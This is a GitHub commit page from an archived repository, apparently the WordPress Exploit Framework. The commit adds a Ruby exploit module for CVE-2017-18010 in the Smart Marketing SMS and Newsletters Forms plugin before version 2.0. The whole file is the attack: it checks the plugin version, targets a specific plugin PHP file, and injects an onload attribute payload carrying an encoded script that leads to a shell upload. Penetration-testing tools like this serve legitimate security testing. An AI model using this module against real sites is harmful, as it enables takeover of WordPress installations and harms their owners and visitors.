Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit de11cff

Browse files
committed
Add Smart Marketing SMS and Newsletters Forms < 2.0 reflected XSS shell upload
1 parent 2eede79 commit de11cff

File tree

1 file changed

+37
-0
lines changed

1 file changed

+37
-0
lines changed
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::SmartMarketingReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::StagedReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Smart Marketing SMS and Newsletters Forms < 2.0 Reflected XSS Shell Upload',
11+
author: [
12+
'Ricardo Sanchez', # Dislosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['CVE', '2017-18010'],
17+
['WPVDB', '8974']
18+
],
19+
date: 'Dec 05 2017'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('smart-marketing-for-wp', '2.0')
25+
end
26+
27+
def vulnerable_url
28+
normalize_uri(wordpress_url_plugins, 'smart-marketing-for-wp', 'admin', 'partials', 'custom', 'egoi-for-wp-form_egoi.php')
29+
end
30+
31+
def initial_script
32+
create_basic_post_script(
33+
vulnerable_url,
34+
'url' => "\\\" onload=\\\"#{xss_ascii_encoded_include_script}\\\">"
35+
)
36+
end
37+
end

0 commit comments

Comments
 (0)